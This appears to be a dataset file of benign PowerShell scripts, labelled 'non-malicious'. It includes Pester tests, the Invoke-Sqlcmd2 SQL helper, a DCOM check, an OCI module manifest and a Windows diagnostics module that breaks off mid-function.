Describe "Test-Push-Location" -Tags "CI" { New-Variable -Name startDirectory -Value $(Get-Location).Path -Scope Global -Force BeforeEach { Set-Location $startDirectory } It "Should be called without error" { { Push-Location } | Should -Not -Throw } It "Should be able to push to the root directory" { { Push-Location / } | Should -Not -Throw } It "Should be able to use relative path to parent" { { Push-Location .. } | Should -Not -Throw } It "Should be able to use relative path to grandparent" { Test-Path ../.. | Should -BeTrue { Push-Location ../.. } | Should -Not -Throw } It "Should be able to push twice" { { Push-Location .. } | Should -Not -Throw { Push-Location .. } | Should -Not -Throw } It "Should be able to take a piped variable" { { ".." | Push-Location } | Should -Not -Throw } It "Should be able to call the pushd alias" { { pushd } | Should -Not -Throw } It "Should be able to push to the same location between the alias and the cmdlet" { pushd .. $aliasDirectory = $(Get-Location).Path Set-Location $startDirectory Push-Location .. $cmdletDirectory = $(Get-Location).Path $aliasDirectory | Should -BeExactly $cmdletDirectory } It "Should produce a pathinfo object when the passthru parameter is used" { Push-Location .. -PassThru | ForEach-Object { $_ | Should -BeOfType "System.Management.Automation.PathInfo" } } Set-Location $startDirectory }
combined_dataset/train/non-malicious/Invoke-SqlCmd_8.ps1
Invoke-SqlCmd_8.ps1
####################### <# .SYNOPSIS Runs a T-SQL script. .DESCRIPTION Runs a T-SQL script. Invoke-Sqlcmd2 only returns message output, such as the output of PRINT statements when -verbose parameter is specified. Paramaterized queries are supported. .INPUTS None You cannot pipe objects to Invoke-Sqlcmd2 .OUTPUTS System.Data.DataTable .EXAMPLE Invoke-Sqlcmd2 -ServerInstance "MyComputer\\MyInstance" -Query "SELECT login_time AS 'StartTime' FROM sysprocesses WHERE spid = 1" This example connects to a named instance of the Database Engine on a computer and runs a basic T-SQL query. StartTime ----------- 2010-08-12 21:21:03.593 .EXAMPLE Invoke-Sqlcmd2 -ServerInstance "MyComputer\\MyInstance" -InputFile "C:\\MyFolder\\tsqlscript.sql" | Out-File -filePath "C:\\MyFolder\\tsqlscript.rpt" This example reads a file containing T-SQL statements, runs the file, and writes the output to another file. .EXAMPLE Invoke-Sqlcmd2 -ServerInstance "MyComputer\\MyInstance" -Query "PRINT 'hello world'" -Verbose This example uses the PowerShell -Verbose parameter to return the message output of the PRINT command. VERBOSE: hello world .NOTES Version History v1.0 - Chad Miller - Initial release v1.1 - Chad Miller - Fixed Issue with connection closing v1.2 - Chad Miller - Added inputfile, SQL auth support, connectiontimeout and output message handling. Updated help documentation v1.3 - Chad Miller - Added As parameter to control DataSet, DataTable or array of DataRow Output type v1.4 - Justin Dearing <zippy1981 _at_ gmail.com> - Added the ability to pass parameters to the query. v1.4.1 - Paul Bryson <atamido _at_ gmail.com> - Added fix to check for null values in parameterized queries and replace with [DBNull] #> function Invoke-Sqlcmd2 { [CmdletBinding()] param( [Parameter(Position=0, Mandatory=$true)] [string]$ServerInstance, [Parameter(Position=1, Mandatory=$false)] [string]$Database, [Parameter(Position=2, Mandatory=$false)] [string]$Query, [Parameter(Position=3, Mandatory=$false)] [string]$Username, [Parameter(Position=4, Mandatory=$false)] [string]$Password, [Parameter(Position=5, Mandatory=$false)] [Int32]$QueryTimeout=600, [Parameter(Position=6, Mandatory=$false)] [Int32]$ConnectionTimeout=15, [Parameter(Position=7, Mandatory=$false)] [ValidateScript({test-path $_})] [string]$InputFile, [Parameter(Position=8, Mandatory=$false)] [ValidateSet("DataSet", "DataTable", "DataRow")] [string]$As="DataRow" , [Parameter(Position=9, Mandatory=$false)] [System.Collections.IDictionary]$SqlParameters ) if ($InputFile) { $filePath = $(resolve-path $InputFile).path $Query = [System.IO.File]::ReadAllText("$filePath") } $conn=new-object System.Data.SqlClient.SQLConnection if ($Username) { $ConnectionString = "Server={0};Database={1};User ID={2};Password={3};Trusted_Connection=False;Connect Timeout={4}" -f $ServerInstance,$Database,$Username,$Password,$ConnectionTimeout } else { $ConnectionString = "Server={0};Database={1};Integrated Security=True;Connect Timeout={2}" -f $ServerInstance,$Database,$ConnectionTimeout } $conn.ConnectionString=$ConnectionString #Following EventHandler is used for PRINT and RAISERROR T-SQL statements. Executed when -Verbose parameter specified by caller if ($PSBoundParameters.Verbose) { $conn.FireInfoMessageEventOnUserErrors=$true $handler = [System.Data.SqlClient.SqlInfoMessageEventHandler] {Write-Verbose "$($_)"} $conn.add_InfoMessage($handler) } $conn.Open() $cmd=new-object system.Data.SqlClient.SqlCommand($Query,$conn) $cmd.CommandTimeout=$QueryTimeout if ($SqlParameters -ne $null) { $SqlParameters.GetEnumerator() | ForEach-Object { If ($_.Value -ne $null) { $cmd.Parameters.AddWithValue($_.Key, $_.Value) } Else { $cmd.Parameters.AddWithValue($_.Key, [DBNull]::Value) } } > $null } $ds=New-Object system.Data.DataSet $da=New-Object system.Data.SqlClient.SqlDataAdapter($cmd) [void]$da.fill($ds) $conn.Close() switch ($As) { 'DataSet' { Write-Output ($ds) } 'DataTable' { Write-Output ($ds.Tables) } 'DataRow' { Write-Output ($ds.Tables[0]) } } } #Invoke-Sqlcmd2
combined_dataset/train/non-malicious/sample_5_71.ps1
sample_5_71.ps1
#************************************************ # TS_DCOMEnabledk.ps1 # Version 1.0.0 # Date: 03-23-2012 # Author: Jeremy LaBorde - jlaborde # Description: Checks to see if DCOM is enabled #************************************************ . .\DistSvcs_Utils.ps1 Import-LocalizedData -BindingVariable ScriptStrings Write-DiagProgress -Activity $ScriptStrings.ID_DSI_DistSvcs_RC_Activity -Status $ScriptStrings.ID_DSI_DistSvcs_RC_DCOMEnabledNotice if( !(Get-EnableDCOM) ) { AlertKnownIssue "RC_DCOMEnabled" "DCOM Is Not Enabled: http://msdn.microsoft.com/en-us/library/windows/desktop/ms687298(v=vs.85).aspx" "Internal" } else { if( $global:gDebugSDPOn ) { Update-DiagRootCause -id "RC_DCOMEnabled" -Detected $false } } # SIG # Begin signature block # MIIoRgYJKoZIhvcNAQcCoIIoNzCCKDMCAQExDzANBglghkgBZQMEAgEFADB5Bgor # BgEEAYI3AgEEoGswaTA0BgorBgEEAYI3AgEeMCYCAwEAAAQQH8w7YFlLCE63JNLG # KX7zUQIBAAIBAAIBAAIBAAIBADAxMA0GCWCGSAFlAwQCAQUABCCDRGAMVCSW3zog # UuJbpqzl75+gN8xdWYV/eY+YSDg4V6CCDXYwggX0MIID3KADAgECAhMzAAAEBGx0 # Bv9XKydyAAAAAAQEMA0GCSqGSIb3DQEBCwUAMH4xCzAJBgNVBAYTAlVTMRMwEQYD # VQQIEwpXYXNoaW5ndG9uMRAwDgYDVQQHEwdSZWRtb25kMR4wHAYDVQQKExVNaWNy # b3NvZnQgQ29ycG9yYXRpb24xKDAmBgNVBAMTH01pY3Jvc29mdCBDb2RlIFNpZ25p # bmcgUENBIDIwMTEwHhcNMjQwOTEyMjAxMTE0WhcNMjUwOTExMjAxMTE0WjB0MQsw # CQYDVQQGEwJVUzETMBEGA1UECBMKV2FzaGluZ3RvbjEQMA4GA1UEBxMHUmVkbW9u # ZDEeMBwGA1UEChMVTWljcm9zb2Z0IENvcnBvcmF0aW9uMR4w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Dr0r # Trd4jdC3foQCjo4kZeHcS8tOT4EylA9t1+AOyHnEikZ97Fg78fdDZueFQEYJ6m39 # uC8dGAQ98nSrr+g7DvhUPgrZwNNbbm6UN/LsJLwBPTwPTxprjsXj2Hxh1cU5zYTX # ouogta1DMDUOEdCoz3bZUGwJzbBMKYBC/YZHL5XG+HOtD/7v/fygE7s1w4LIm4qi # G3BtobtN/BtH0LboIw5lX6vQ+gyPglwsRQFM8PT7i4TlaXfcYRoDVFMXJxs+FNnQ # cvDq6cyGdfx1ASbwiIFcRaL+wsN2ntgoHDd4I/5xPzp7B94mWx+SfTWki+3suZnV # AomsPbMRcg9WtrXBFlaUXNtB+AUOW3ld94JHc9dhwv0sVuLSoSaz7Cu1VfnBn5A9 # R9Hp23phAoHSHZv9OLlATgmZz5hpCpDIcWvxlhm/Uh99w7csecgwYrpuup+JCAb/ # X8w2tUlp+YNEBbyCTTKx3Ok9B1cfS2Ghg5wKPLp+G5nRpyNkbzUYa7FgUy8dm2Kh # drp9bdQ9r7nlv8KALyDerPcUwKoSQHa41G3xiHQ6UlTjsbuyWVbkPfQd # SIG # End signature block
combined_dataset/train/non-malicious/sample_59_95.ps1
sample_59_95.ps1
# # Module manifest for module 'OCI.PSModules.Apigateway' # # Generated by: Oracle Cloud Infrastructure # # @{ # Script module or binary module file associated with this manifest. RootModule = 'assemblies/OCI.PSModules.Apigateway.dll' # Version number of this module. ModuleVersion = '86.2.0' # Supported PSEditions CompatiblePSEditions = 'Core' # ID used to uniquely identify this module GUID = '6afcef29-4171-4ad7-a267-5ec2cf2367ad' # Author of this module Author = 'Oracle Cloud Infrastructure' # Company or vendor of this module CompanyName = 'Oracle Corporation' # Copyright statement for this module Copyright = '(c) Oracle Cloud Infrastructure. All rights reserved.' # Description of the functionality provided by this module Description = 'This modules provides Cmdlets for OCI Apigateway Service' # Minimum version of the PowerShell engine required by this module PowerShellVersion = '6.0' # Name of the PowerShell host required by this module # PowerShellHostName = '' # Minimum version of the PowerShell host required by this module # PowerShellHostVersion = '' # Minimum version of Microsoft .NET Framework required by this module. This prerequisite is valid for the PowerShell Desktop edition only. # DotNetFrameworkVersion = '' # Minimum version of the common language runtime (CLR) required by this module. This prerequisite is valid for the PowerShell Desktop edition only. # ClrVersion = '' # Processor architecture (None, X86, Amd64) required by this module # ProcessorArchitecture = '' # Modules that must be imported into the global environment prior to importing this module RequiredModules = @(@{ModuleName = 'OCI.PSModules.Common'; GUID = 'b3061a0d-375b-4099-ae76-f92fb3cdcdae'; RequiredVersion = '86.2.0'; }) # Assemblies that must be loaded prior to importing this module RequiredAssemblies = 'assemblies/OCI.DotNetSDK.Apigateway.dll' # Script files (.ps1) that are run in the caller's environment prior to importing this module. # ScriptsToProcess = @() # Type files (.ps1xml) to be loaded when importing this module # TypesToProcess = @() # Format files (.ps1xml) to be loaded when importing this module # FormatsToProcess = @() # Modules to import as nested modules of the module specified in RootModule/ModuleToProcess # NestedModules = @() # Functions to export from this module, for best performance, do not use wildcards and do not delete the entry, use an empty array if there are no functions to export. FunctionsToExport = '*' # Cmdlets to export from this module, for best performance, do not use wildcards and do not delete the entry, use an empty array if there are no cmdlets to export. CmdletsToExport = 'Get-OCIApigatewayApi', 'Get-OCIApigatewayApiContent', 'Get-OCIApigatewayApiDeploymentSpecification', 'Get-OCIApigatewayApisList', 'Get-OCIApigatewayApiValidations', 'Get-OCIApigatewayCertificate', 'Get-OCIApigatewayCertificatesList', 'Get-OCIApigatewayDeployment', 'Get-OCIApigatewayDeploymentsList', 'Get-OCIApigatewayGateway', 'Get-OCIApigatewayGatewaysList', 'Get-OCIApigatewaySdk', 'Get-OCIApigatewaySdkLanguageTypesList', 'Get-OCIApigatewaySdksList', 'Get-OCIApigatewaySubscriber', 'Get-OCIApigatewaySubscribersList', 'Get-OCIApigatewayUsagePlan', 'Get-OCIApigatewayUsagePlansList', 'Get-OCIApigatewayWorkRequest', 'Get-OCIApigatewayWorkRequestErrorsList', 'Get-OCIApigatewayWorkRequestLogsList', 'Get-OCIApigatewayWorkRequestsList', 'Move-OCIApigatewayApiCompartment', 'Move-OCIApigatewayCertificateCompartment', 'Move-OCIApigatewayDeploymentCompartment', 'Move-OCIApigatewayGatewayCompartment', 'Move-OCIApigatewaySubscriberCompartment', 'Move-OCIApigatewayUsagePlanCompartment', 'New-OCIApigatewayApi', 'New-OCIApigatewayCertificate', 'New-OCIApigatewayDeployment', 'New-OCIApigatewayGateway', 'New-OCIApigatewaySdk', 'New-OCIApigatewaySubscriber', 'New-OCIApigatewayUsagePlan', 'Remove-OCIApigatewayApi', 'Remove-OCIApigatewayCertificate', 'Remove-OCIApigatewayDeployment', 'Remove-OCIApigatewayGateway', 'Remove-OCIApigatewaySdk', 'Remove-OCIApigatewaySubscriber', 'Remove-OCIApigatewayUsagePlan', 'Stop-OCIApigatewayWorkRequest', 'Update-OCIApigatewayApi', 'Update-OCIApigatewayCertificate', 'Update-OCIApigatewayDeployment', 'Update-OCIApigatewayGateway', 'Update-OCIApigatewaySdk', 'Update-OCIApigatewaySubscriber', 'Update-OCIApigatewayUsagePlan' # Variables to export from this module VariablesToExport = '*' # Aliases to export from this module, for best performance, do not use wildcards and do not delete the entry, use an empty array if there are no aliases to export. AliasesToExport = '*' # DSC resources to export from this module # DscResourcesToExport = @() # List of all modules packaged with this module # ModuleList = @() # List of all files packaged with this module # FileList = @() # Private data to pass to the module specified in RootModule/ModuleToProcess. This may also contain a PSData hashtable with additional module metadata used by PowerShell. PrivateData = @{ PSData = @{ # Tags applied to this module. These help with module discovery in online galleries. Tags = 'PSEdition_Core','Windows','Linux','macOS','Oracle','OCI','Cloud','OracleCloudInfrastructure','Apigateway' # A URL to the license for this module. LicenseUri = 'https://github.com/oracle/oci-powershell-modules/blob/master/LICENSE.txt' # A URL to the main website for this project. ProjectUri = 'https://github.com/oracle/oci-powershell-modules/' # A URL to an icon representing this module. IconUri = 'https://github.com/oracle/oci-powershell-modules/blob/master/icon.png' # ReleaseNotes of this module ReleaseNotes = 'https://github.com/oracle/oci-powershell-modules/blob/master/CHANGELOG.md' # Prerelease string of this module # Prerelease = '' # Flag to indicate whether the module requires explicit user acceptance for install/update/save # RequireLicenseAcceptance = $false # External dependent modules of this module # ExternalModuleDependencies = @() } # End of PSData hashtable } # End of PrivateData hashtable # HelpInfo URI of this module # HelpInfoURI = '' # Default prefix for commands exported from this module. Override the default prefix using Import-Module -Prefix. # DefaultCommandPrefix = '' }
combined_dataset/train/non-malicious/3219.ps1
3219.ps1
InModuleScope PoshBot { describe 'Remove-PoshBotStatefulData' { BeforeAll { $PSDefaultParameterValues = @{ 'Remove-PoshBotStatefulData:Verbose' = $false } $global:PoshBotContext = [pscustomobject]@{ Plugin = 'TestPlugin' ConfigurationDirectory = (Join-Path $env:BHProjectPath Tests) } } AfterAll { Remove-Variable -Name PoshBotContext -Scope Global -Force } $globalfile = Join-Path $global:PoshBotContext.ConfigurationDirectory 'PoshbotGlobal.state' $modulefile = Join-Path $global:PoshBotContext.ConfigurationDirectory "$($poshbotcontext.Plugin).state" [pscustomobject]@{ a = 'g' b = $true } | Export-Clixml -Path $globalfile [pscustomobject]@{ a = 'm' b = $true } | Export-Clixml -Path $modulefile it 'Removes data as expected' { Remove-PoshBotStatefulData -Scope Module -Name a Remove-PoshBotStatefulData -Scope Global -Name b $m = Import-Clixml -Path $modulefile $m.b | Should Be $True @($m.psobject.properties).count | Should Be 1 $g = Import-Clixml -Path $globalfile $g.a | Should Be 'g' @($g.psobject.properties).count | Should Be 1 Remove-Item $globalfile -Force Remove-Item $modulefile -Force } Remove-Item $globalfile -Force -ErrorAction SilentlyContinue Remove-Item $modulefile -Force -ErrorAction SilentlyContinue } }
combined_dataset/train/non-malicious/sample_54_72.ps1
sample_54_72.ps1
# diag_api.psm1 # by tdimli # March 2020 # API/helper functions # errors reported by these diagnostics won't be shown on screen to user # only saved to xray_ISSUES-FOUND_*.txt report file $Global:BETA_DIAGS = " net_802dot1x_KB4556307, net_firewall_KB4561854, net_wlan_KB4557342, net_dnscli_KB4562541, net_dasrv_KB4504598, net_netio_KB4563820, net_srv_KB4562940, net_hyphost_KB4562593, net_vpn_KB4553295, net_vpn_KB4550202, net_proxy_KB4569506, net_branchcache_KB4565457, net_dnssrv_KB4561750, net_dnssrv_KB4569509, net_dnscli_KB4617560, net_ncsi_KB4648334, net_srv_KB4612362, net_rpc_KB2506972 " # constants # return codes $Global:RETURNCODE_SUCCESS = 0 $Global:RETURNCODE_SKIPPED = 1 $Global:RETURNCODE_FAILED = 2 $Global:RETURNCODE_EXCEPTION = 3 # issue types $Global:ISSUETYPE_INFO = 0 $Global:ISSUETYPE_WARNING = 1 $Global:ISSUETYPE_ERROR = 2 # value could not be retrieved $Global:VALUE_NA = "<error!>" # time format $Global:TIME_FORMAT = "yyMMdd-HHmmss" # xray registry path $xrayRegistryPath = "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\xray" # wmi data $Global:wmi_Win32_ComputerSystem $Global:wmi_Win32_OperatingSystem # poolmon data $Global:poolmonData # globals $version $xrayStartTime $timestamp $dataPath $logFile $infoFile $issuesFile $xmlRptFile $currDiagFn $xmlReport $xmlNsMgr $nodeXray $xmlTechAreas $xmlParameters $xmlSystemInfo $xmlDiagnostics # counters $Global:numDiagsRun = 0 $Global:numDiagsSuccess = 0 $Global:numDiagsSkipped = 0 $Global:numDiagsFailed = 0 $Global:numIssues = 0 $Global:issueShown = $false # To report an issue if one was identified by a diagnostic function # Diagnostic functions use this function to report the issue they have identified # $issueType: 0 (Info), 1 (Warning) or 2 (Error) function ReportIssue { param( [Parameter(Mandatory=$true, Position=0)] [string] $issueMsg, [Parameter(Mandatory=$true, Position=1)] [Int] $issueType ) $Global:numIssues++ $onScreenMsg = $true # get caller/diagnostic details $loc = $VALUE_NA $diagFn = $VALUE_NA $callStack = Get-PSCallStack if ($callStack.Count -gt 1) { $loc = (Split-Path -Path $callStack[1].ScriptName -Leaf).ToString() + ":" + $callStack[1].ScriptLineNumber $diagFn = $callStack[1].FunctionName if (($loc -eq "") -or ($loc -eq $null)) { $loc = $VALUE_NA } if (($diagFn -eq "") -or ($diagFn -eq $null)) { if ($Global:currDiagFn -ne $null) { $diagFn = $Global:currDiagFn } else { $diagFn = $loc } LogWrite "Diagnostic name uncertainty: No on screen message" $onScreenMsg = $false } } XmlDiagnosticUpdateIssue $diagFn $IssueType LogWrite "Issue (type:$issueType) reported by diagnostic $diagFn [$loc]" $outFile = $issuesFile # reported issue not an error if ($issueType -lt $ISSUETYPE_ERROR) { LogWrite "Issue type is not error: No on screen message, saving to info file instead" $outFile = $infoFile $onScreenMsg = $false } # diagnostic in beta, no on-screen message if ($BETA_DIAGS.Contains($diagFn)) { LogWrite "Diagnostic in beta: No on screen message" $onScreenMsg = $false } if(!(Test-Path -Path $outFile)){ "xray by tdimli, v$version">$outFile "Diagnostic check run on $timestamp UTC`r`n">>$outFile } else { # add separator "`r`n* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *`r`n">>$outFile } "**">>$outFile "** Issue $numIssues`tFound a potential issue (reported by $diagFn):">>$outFile "**">>$outFile $issueMsg>>$outFile # show message on screen if ($onScreenMsg) { $Global:issueShown = $true Write-Host (" ** ** Issue $numIssues`tFound a potential issue (reported by $diagFn): **") -ForegroundColor red IndentMsg $issueMsg } } # Wraps a filename with "xray_" prefix and timestamp & computername suffix for consistency # Ensures all files created have the same name format, same run of xray script uses the same timestamp-suffix # Also prepends $dataPath to ensure all files are created in the designated folder function MakeFilename { param( [Parameter(Mandatory=$true, Position=0)] [string] $name, [Parameter(Mandatory=$true, Position=1)] [string] $extension ) $computer = hostname $filename = "xray_" + $name + "_" + $timestamp + "_" + $computer + "." + $extension return Join-Path -Path $dataPath -ChildPath $filename } # Logs to activity log with timestamp function LogWrite { param( [Parameter(Mandatory=$true, Position=0)] [string] $msg ) $callStack = Get-PSCallStack $caller = $VALUE_NA if ($callStack.Count -gt 1) { $caller = $callStack[1].FunctionName + " " + (Split-Path -Path $callStack[1].ScriptName -Leaf).ToString() + ":" + $callStack[1].ScriptLineNumber } $time = (Get-Date).ToUniversalTime().ToString("yyMMdd-HHmmss.fffffff") "$time [$caller] $msg" >> $logFile } # returns summary data from poolmon # if multiple poolmon data sets are available one set for each will be returned # each returned set will contain two list items with a string[7] in following format # Example: # For sample summary: # Memory:33356024K Avail:19399488K PageFlts:400263915 InRam Krnl:12672K P:935188K # Commit:15680004K Limit:40433912K Peak:15917968K Pool N:629240K P:1004712K # it will return string array(s) containing: # Summary1,22/05/2020 22:35:55.53,33356024,19399488,400263915,12672,935188 # Summary2,22/05/2020 22:35:55.53,15680004,40433912,15917968,629240,1004712 function GetPoolUsageSummary { [System.Collections.Generic.List[string[]]] $poolmonInfo = New-Object "System.Collections.Generic.List[string[]]" foreach ($entry in $poolmonData) { if ($entry.Contains("Summary")) { $poolmonInfo.Add($entry -split ',') } } return $poolmonInfo } # returns pool usage info from poolmon for specified pool tag and type # pooltag has to be 4 characters (case-sensitive), pooltype can be "Nonp" or "Paged" (case-sensitive) # if multiple poolmon data sets are available all matching entries will be returned # returns $null if no entry for specified item # return data type is list of Int64 arrays # Example: # For sample entry: # Ntfx Nonp 1127072 1037111 89961 26955808 299 # it will return an Int64 array containing: # 1127072, 1037111, 89961, 26955808, 299 function GetPoolUsageByTag { param( [Parameter(Mandatory=$true, Position=0)] [ValidatePattern(“.{4}”)] [string] $poolTag, [Parameter(Mandatory=$true, Position=1)] [ValidatePattern(“(Nonp|Paged)")] [string] $poolType ) [System.Collections.Generic.List[Int64[]]] $poolmonInfo = New-Object "System.Collections.Generic.List[Int64[]]" foreach ($entry in $poolmonData) { if ($entry.Contains("$poolTag,$poolType")) { $pmEntry = $entry -split ',' [Int[]] $intArr = New-Object Int[] 5 for ($i =0; $i -lt 5; $i++) { $intArr[$i] = [Convert]::ToInt64($pmEntry[$i + 2]) } $poolmonInfo.Add($intArr) } } return ,$poolmonInfo # unary operator comma is to force the output type to array } <# Checks if one of the required updates ($reqUpdates) or a later update is present Returns true if a required update or later is installed (or if none of the required updates do not apply to current OS version) or false if a required update is not present (and one of the required updates applies to current OS version) $required has a list of updates that specifies the minimum required update for any OS versions to be checked #> function HasRequiredUpdate { param( [Parameter(Mandatory=$true, Position=0)] [string[]] $reqUpdates ) $unknownUpdates = $true $knownUpdateSeen = $false foreach ($minReqUpd in $reqUpdates) { foreach($name in $updateLists) { $updateList = (Get-Variable -Name $name -ErrorVariable ErrorMsg -ErrorAction SilentlyContinue).Value $minReqIdx = $updateList.id.IndexOf($minReqUpd) if ($minReqIdx -ge 0) { $unknownUpdates = $false foreach($installedUpdate in $installedUpdates) { # look for $minReqUpd or later update $instIdx = $updateList.id.IndexOf($installedUpdate.HotFixID) if ($instIdx -ge 0) { $knownUpdateSeen = $true if ($instIdx -le $minReqIdx) { # updates in $updateList are in reverse chronological order, with most recent at idx=0 return $true } } } } } } if ($unknownUpdates) { LogWrite "Required update(s) not known" throw } if ($knownUpdateSeen) { return $false } return $true } <# Checks if all available Windows updates are installed Returns n where n=0 latest available update is installed, system up-to-date n>0 number of missing updates, i.e. updates that are available but not installed n<0 update status cannot be determined #> function CheckUpdateStatus { param( [Parameter(Mandatory=$true, Position=0)] [Boolean] $offline ) $errMsg = @" This system is missing many important updates. The last update installed on this system was: {0} Following {1} update(s) have been released since then: {2} Resolution Please install below update as a matter of urgency: {3} "@ $Global:NumMissingUpdates = -1 Clear-Variable -Name MissingUpdates -Scope Global -ErrorVariable ErrorMsg -ErrorAction Ignore if($offline) { LogWrite "Cannot run offline, skipping" return $RETURNCODE_SKIPPED } # Look for missing updates try { if ($installedUpdates.Count -eq 0) { LogWrite "installedUpdates empty!" return $RETURNCODE_FAILED } # identify updateList $updateFound = $false foreach ($installedUpdate in $installedUpdates) { LogWrite $installedUpdate.HotfixId foreach ($name in $updateLists) { $updateList = (Get-Variable -Name $name -ErrorVariable ErrorMsg -ErrorAction SilentlyContinue).Value $idxMRUI = $updateList.id.IndexOf($installedUpdate.HotfixId) if ($idxMRUI -ge 0) { $updateFound = $true LogWrite "Relevant update list is $name" break } } if ($updateFound) { break } } # identify latest update installed if ($updateFound -eq $true) { foreach ($update in $updateList) { $idxIU = $installedUpdates.HotfixId.IndexOf($update.id) if ($idxIU -ge 0) { $idxMRUI = $updateList.id.IndexOf($update.id) $Global:NumMissingUpdates = $idxMRUI $Global:MissingUpdates = $updateList[0..($idxMRUI - 1)] LogWrite "$($updateList[$idxMRUI].id): installedUpdates[$idxIU] is a match for $name[$idxMRUI]" break } } } # check results and report if ($NumMissingUpdates -lt 0) { # failure LogWrite "Error: None of the installed updates match update data, update status could not be determined." return $RETURNCODE_FAILED } elseif ($NumMissingUpdates -gt 2) { # missing too many updates foreach ($upd in $MissingUpdates.heading) { $mUpd += " $upd`r`n" } $issueType = $ISSUETYPE_ERROR $issueMsg = [string]::Format($errMsg, $updateList[$NumMissingUpdates].heading, $NumMissingUpdates, $mUpd, $MissingUpdates[0].heading) ReportIssue $issueMsg $issueType } } catch { LogWrite "Failed - exiting! (Error: $_)" return $RETURNCODE_FAILED } return $RETURNCODE_SUCCESS } # Shows message on screen indented for readability function IndentMsg { param( [Parameter(Mandatory=$true, Position=0)] [string] $msg ) $newMsg = $msg -split "`n" foreach ($line in $newMsg) { Write-Host " $line" } } function InitGlobals { param( [Parameter(Mandatory=$true, Position=0)] [string] $ver, [Parameter(Mandatory=$true, Position=1)] [string] $path ) $Global:version = $ver $Global:dataPath = $path $Global:xrayStartTime = (Get-Date).ToUniversalTime() $Global:timestamp = $xrayStartTime.ToString($TIME_FORMAT) $Global:logFile = MakeFilename "log" "txt" $Global:infoFile = MakeFilename "INFO" "txt" $Global:issuesFile = MakeFilename "ISSUES-FOUND" "txt" $Global:xmlRptFile = MakeFilename "report" "xml" $Global:issueShown = $false # add and populate root node: nodeXray $Global:xmlReport = New-Object System.XML.XMLDocument $Global:nodeXray = $xmlReport.CreateElement("xray") [void] $xmlReport.appendChild($nodeXray) $nodeXray.SetAttribute("Version", $version) $nodeXray.SetAttribute("Complete", $false) $nodeXray.SetAttribute("StartTime", $timestamp) $nodeXray.SetAttribute("Complete", $false) # add nodes $Global:xmlTechAreas = $nodeXray.AppendChild($xmlReport.CreateElement("TechAreas")) $Global:xmlParameters = $nodeXray.AppendChild($xmlReport.CreateElement("Parameters")) $Global:xmlSystemInfo = $nodeXray.AppendChild($xmlReport.CreateElement("SystemInfo")) $Global:xmlDiagnostics = $nodeXray.AppendChild($xmlReport.CreateElement("Diagnostics")) # namespace manager $Global:xmlNsMgr = New-Object System.Xml.XmlNamespaceManager($xmlReport.NameTable) $xmlNsMgr.AddNamespace("xrayNS", $xmlReport.DocumentElement.NamespaceURI) } function AddSysInfo { param( [Parameter(Mandatory=$true, Position=0)] [bool] $offline ) if ($offline) { # if offline retrieve from data LogWrite "Offline system info collection not yet implemented" return } # PSVersionTable $PSVer = ($PSVersionTable) if ($PSVer -ne $null) { XmlAddSysInfo "PSVersionTable" "PSVersion" $PSVer.PSVersion XmlAddSysInfo "PSVersionTable" "WSManStackVersion" $PSVer.WSManStackVersion XmlAddSysInfo "PSVersionTable" "SerializationVersion" $PSVer.SerializationVersion XmlAddSysInfo "PSVersionTable" "CLRVersion" $PSVer.CLRVersion XmlAddSysInfo "PSVersionTable" "BuildVersion" $PSVer.BuildVersion } # installedUpdates $Global:installedUpdates = Get-HotFix | Sort-Object -Property InstalledOn -Descending -ErrorAction SilentlyContinue # Win32_ComputerSystem $Global:wmi_Win32_ComputerSystem = Get-CimInstance -ClassName Win32_ComputerSystem -ErrorAction SilentlyContinue if ($wmi_Win32_ComputerSystem -ne $null) { XmlAddSysInfo "Win32_ComputerSystem" "BootupState" $wmi_Win32_ComputerSystem.BootupState XmlAddSysInfo "Win32_ComputerSystem" "PowerState" $wmi_Win32_ComputerSystem.PowerState XmlAddSysInfo "Win32_ComputerSystem" "DomainRole" $wmi_Win32_ComputerSystem.DomainRole XmlAddSysInfo "Win32_ComputerSystem" "Manufacturer" $wmi_Win32_ComputerSystem.Manufacturer XmlAddSysInfo "Win32_ComputerSystem" "Model" $wmi_Win32_ComputerSystem.Model XmlAddSysInfo "Win32_ComputerSystem" "NumberOfLogicalProcessors" $wmi_Win32_ComputerSystem.NumberOfLogicalProcessors XmlAddSysInfo "Win32_ComputerSystem" "NumberOfProcessors" $wmi_Win32_ComputerSystem.NumberOfProcessors XmlAddSysInfo "Win32_ComputerSystem" "OEMStringArray" $wmi_Win32_ComputerSystem.OEMStringArray XmlAddSysInfo "Win32_ComputerSystem" "PartOfDomain" $wmi_Win32_ComputerSystem.PartOfDomain XmlAddSysInfo "Win32_ComputerSystem" "PCSystemType" $wmi_Win32_ComputerSystem.PCSystemType XmlAddSysInfo "Win32_ComputerSystem" "SystemType" $wmi_Win32_ComputerSystem.SystemType XmlAddSysInfo "Win32_ComputerSystem" "TotalPhysicalMemory" $wmi_Win32_ComputerSystem.TotalPhysicalMemory XmlAddSysInfo "Win32_ComputerSystem" "HypervisorPresent" $wmi_Win32_ComputerSystem.HypervisorPresent } # Win32_OperatingSystem $Global:wmi_Win32_OperatingSystem = Get-CimInstance -ClassName Win32_OperatingSystem -ErrorAction SilentlyContinue if ($wmi_Win32_OperatingSystem -ne $null) { XmlAddSysInfo "Win32_OperatingSystem" "Caption" $wmi_Win32_OperatingSystem.Caption XmlAddSysInfo "Win32_OperatingSystem" "Version" $wmi_Win32_OperatingSystem.Version XmlAddSysInfo "Win32_OperatingSystem" "BuildType" $wmi_Win32_OperatingSystem.BuildType XmlAddSysInfo "Win32_OperatingSystem" "BuildNumber" $wmi_Win32_OperatingSystem.BuildNumber XmlAddSysInfo "Win32_OperatingSystem" "ProductType" $wmi_Win32_OperatingSystem.ProductType XmlAddSysInfo "Win32_OperatingSystem" "OperatingSystemSKU" $wmi_Win32_OperatingSystem.OperatingSystemSKU XmlAddSysInfo "Win32_OperatingSystem" "OSArchitecture" $wmi_Win32_OperatingSystem.OSArchitecture XmlAddSysInfo "Win32_OperatingSystem" "OSType" $wmi_Win32_OperatingSystem.OSType XmlAddSysInfo "Win32_OperatingSystem" "InstallDate" $wmi_Win32_OperatingSystem.InstallDate XmlAddSysInfo "Win32_OperatingSystem" "LocalDateTime" $wmi_Win32_OperatingSystem.LocalDateTime XmlAddSysInfo "Win32_OperatingSystem" "LastBootUpTime" $wmi_Win32_OperatingSystem.LastBootUpTime } XmlSave } function XmlAddTechArea { param( [Parameter(Mandatory=$true, Position=0)] [string] $name, [Parameter(Mandatory=$true, Position=1)] [string] 